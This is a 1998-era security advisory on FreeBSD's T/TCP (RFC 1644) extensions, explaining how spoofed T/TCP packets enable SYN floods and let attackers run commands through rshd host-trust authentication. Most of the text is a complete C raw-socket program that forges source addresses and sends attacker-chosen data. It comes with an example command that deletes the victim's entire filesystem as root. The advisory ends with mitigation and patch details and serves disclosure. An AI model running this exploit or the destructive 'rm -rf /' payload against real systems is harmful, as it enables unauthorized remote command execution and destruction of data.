COMMAND

    RFC-1644

SYSTEMS AFFECTED

    FreeBSD and other systems incorporating TTCP extentions

PROBLEM

    RFC 1644 provides  an extension to  TCP called TCP  Extensions for
    Transactions, or  shortly T/TCP.  It provides  a way  of bypassing
    the standard three-way  handshake found in  TCP, thus speeding  up
    transactions.   Vasim Valejev  found following.   Transactions-TCP
    (RFC-1644) in FreeBSD (and  other systems) can cause  problems for
    security:

    1. New variant of SYN-flood  attack . Someone can send  many T/TCP
       packets with fake  originate address (any  unreachable address)
       and overload (possible cause Denial-Of-Service) victim's server
       (for  example  -  many  T/TCP  requests  to telnet/ftp/http/etc
       daemons).

    2. Attack      to      r*-services      (rshd/rlogind      without
       kerberos-authentication) .  Hacker can send T/TCP requests with
       originate address  from /etc/hosts.equiv  or .rhosts  files. In
       some cases (computer with  address from hacker's request  can't
       send  TCP-RST  packet  in  time)  it  possible  run commands on
       attacked target.   Experiments showed  what attacker  just need
       is 10-50  ms delay  between victim  sending SYN-ACK  packet and
       receiving RST  packet from  trusted computer  (it depends  from
       algorithm  rshd/rlogind,  place  DNS-server  with reverse zone,
       etc).   This  attack  can  be  used  on other tcp-services with
       authentication based on ip-address.

    SYN-flood attack with TTCP-packets will have null effects at  most
    systems.  But  attacks  on  some  tcp-services  can be successful.
    Imagine following  situation (simple  network): computer  'victim'
    and  computer  'master'  with  link  >  10  ms  delay.  Victim has
    '+master'  in  /etc/hosts.equiv  and  'shell  stream  ... rshd' in
    /etc/inetd.conf.   Both computers  have t/tcp  (rfc-1644) support.
    Play:

    1. Master   does  any   t/tcp  connections  to victim.    Victim's
       cache[master].cc sets to value > 0 .

       ... Time passed ...

    2. Hacker runs command:

            hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0'

       Hacker's  computer  sends   T/TCP  packet  (SYN+PUSH+data)   to
       'victim' with source  address of 'master'.  CC value in  packet
       may be any > cache[master].cc (0xffffffff for example).

    3. Hacker's  packet received  and victim  sends SYN+ACK  packet to
       master.  Preparing to run  rshd with hacker's data ('rm  -rf /'
       as root).

       ... 10-50 ms passed ...

    4. Victim's  packet received  and master  sends RST  packet.   Too
       late, sorry ...

    FreeBSD version of 1644 (use ip addresses only):

    /* 1644 by Vasim V.                                              */
    /* Please , don't use this program for any destructive targets ! */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netinet/in_systm.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>

    #define NEED_NEWCC 0x01
    #define NEED_FIN 0x02
    #define NEED_PUSH 0x04
    #define NEED_TSTAMP 0x08

    struct fhdr {
            u_long          saddr;
            u_long          daddr;
            u_char          zero;
            u_char          protocol;
            u_short         length;
    };

    unsigned long cc = 0x7fffff00;

    u_short in_cksum(u_short *data,u_short length)
    {
            long value;
            u_short i;

            value = 0;
            for(i=0; i < (length >> 1); i++)
                    value+=data[i];

            if (length & 1)
                    value+=*(((u_char *) data) + length - 1);

            value=(value & 65535) + (value >> 16);

            return(~value);
    }

    void
    sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options)
    {
            struct ip       *mip;
            struct tcphdr   *mtcp;
            struct fhdr     *fhdr;
            int             totlen;
            u_char          buf[9000];
            struct timeval  tp;
            struct sockaddr_in sin;

            gettimeofday(&tp, NULL);
            srandom(tp.tv_usec);
            if (cc == 0)
                    cc = tp.tv_sec;
            totlen = sizeof(struct ip) + sizeof(struct tcphdr);

            mtcp = (struct tcphdr *) (buf + sizeof(struct ip));
            mtcp->th_sport = htons(512 + (random() % 512));
            mtcp->th_dport = htons(port);
            mtcp->th_seq = htonl(random());
            mtcp->th_ack = 0;
            mtcp->th_x2 = 0;
            mtcp->th_flags = TH_SYN;
            if (options & NEED_FIN)
                    mtcp->th_flags |= TH_FIN;
            if (options & NEED_PUSH)
                    mtcp->th_flags |= TH_PUSH;
            mtcp->th_win = htons(17244);
            mtcp->th_urp = 0;
            mtcp->th_sum = 0;

            buf[totlen++] = TCPOPT_MAXSEG;
            buf[totlen++] = TCPOLEN_MAXSEG;
            *((u_short *) &buf[totlen]) = htons(1460);
            totlen += sizeof(u_short);
            if (options & NEED_TSTAMP) {
                    *((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 |
                            TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8);
                    totlen += sizeof(u_long);
                    *((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR);
                    totlen += sizeof(u_long);
                    *((u_long *) &buf[totlen]) = htonl(tp.tv_sec);
                    totlen += sizeof(u_long);
                    *((u_long *) &buf[totlen]) = 0;
                    totlen += sizeof(u_long);
            }
            buf[totlen++] = TCPOPT_NOP;
            buf[totlen++] = TCPOPT_NOP;
            if (options & NEED_NEWCC)
                    buf[totlen++] = TCPOPT_CCNEW;
            else
                    buf[totlen++] = TCPOPT_CC;
            buf[totlen++] = TCPOLEN_CC;
            *((u_long *) &buf[totlen]) = htonl(cc);
            cc++;
            totlen += sizeof(u_long);

            mtcp->th_off = (totlen - sizeof(struct ip)) >> 2;
            if (data && length)
                    memcpy(buf + totlen, data, length);
            fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr));
            fhdr->saddr = saddr;
            fhdr->daddr = daddr;
            fhdr->zero = 0;
            fhdr->protocol = IPPROTO_TCP;
            fhdr->length = htons(totlen - sizeof(struct ip) + length);
            mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length);

            mip = (struct ip *) buf;
            mip->ip_len = totlen + length;
            mip->ip_v = 4;
            mip->ip_hl = 5;
            mip->ip_tos = 0;
            mip->ip_id = htons(random() % 32768);
            mip->ip_off = IP_DF;
            mip->ip_ttl = 0x40;
            mip->ip_p = IPPROTO_TCP;
            mip->ip_sum = 0;
            mip->ip_src.s_addr = saddr;
            mip->ip_dst.s_addr = daddr;
            mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip));

            memset((void *) &sin, 0, sizeof(struct sockaddr_in));
            sin.sin_family = AF_INET;
            sin.sin_addr.s_addr = daddr;
            sin.sin_port = htons(port);
            if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0)
                    perror("sendto");
    }

    void
    main (int argc, char **argv)
    {
            u_long          saddr;
            u_long          daddr;
            int             port;
            int             sock;
            u_char          buf[8192];
            int             len;
            int             i;
            u_char          *p;
            u_char          c;

            if (argc != 5) {
                    fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]);
                    exit(1);
            }
            saddr = inet_addr(argv[1]);
            daddr = inet_addr(argv[2]);
            port = atoi(argv[3]);

            sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
            if (sock < 0) {
                    perror("raw socket");
                    exit(2);
            }
            i = 1;
            setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));
            p = buf;
            len = 0;
            for(i = 0; i < strlen(argv[4]); i++) {
                    c = argv[4][i];
                    if (c == '\\') {
                            i++;
                            c = argv[4][i];
                            switch (c) {
                                    case '0':
                                            *p++ = '\0';
                                            break;
                                    case 'r':
                                            *p++ = '\r';
                                            break;
                                    case 'n':
                                            *p++ = '\n';
                                            break;
                                    default:
                                            *p++ = c;
                                            break;
                            }
                    } else
                            *p++ = c;
                    len++;
            }
            sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP);
    }

SOLUTION

    Disable all r-*  services. Note that  setting the kernel  variable
    net.inet.tcp.rfc1644  to  0  does  not  solve  the  problem.  This
    variable controls whether the  system will initiate rfc1644  based
    connections  and  does  not  affect  the  ability  to receive such
    connections.  FreeBSD affected  are FreeBSD 2.1.*, FreeBSD  2.2.*,
    FreeBSD-stable  before  1998/05/14   and  FreeBSD-current   before
    1998/05/05.   This  was  corrected  in  FreeBSD-3.0-current  as of
    1998/05/14  and  FreeBSD-2.2-stable  as  of  1998/05/05.  There is
    patch at:

        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:03/